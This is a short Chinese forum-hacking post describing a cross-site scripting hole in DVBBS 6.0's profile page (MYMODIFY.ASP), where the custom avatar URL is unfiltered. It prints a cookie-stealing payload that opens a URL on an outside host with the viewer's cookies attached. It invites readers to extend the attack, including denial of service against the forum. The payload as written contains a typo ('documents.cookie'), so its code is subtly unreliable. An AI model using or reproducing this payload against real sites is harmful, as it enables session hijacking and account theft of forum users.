动网论坛6的一个安全隐患
作者：红衣刺客 root101@niuzu.net
论坛：http://xiaomutou.51.net/bbs/index.php
动网论坛(动网先锋论坛) 是一款由WWW.ASPSKY.NET开发和维护的源代码开放的ASP论坛，其论坛是目前最为流行的ASP论坛之一，它随着开发者的不断升级，已经消除了大批的安全隐患。目前的最高版本为DVBBS VER 6.0.0 SP3。可是存在一点小的遗憾。
我们看看MYMODIFY.ASP的的源代码，没有对自定义头像地址做任何过滤，这可能是开发者的因为疏忽造成的。=版权所有 软件 下载 学院 版权所有=
这样我们就可以插入跨站脚本的代码：
javascript:window.open('http://xiaomutou.51.net/info2.php?'+documents.cookie);
这段不用说大家都知道，是偷cookie的跨站代码。
不只这些，我们还可以做更多，甚至让论坛拒绝服务，这里只是给个思路，大家可以自己发挥一下。让他在看你的用户资料是弹出一个窗口 “哈哈，偷看我的秘密资料，小心我打你pp！”是不是把他吓一条呢，呵呵。
（出处：www.Gimoo.net）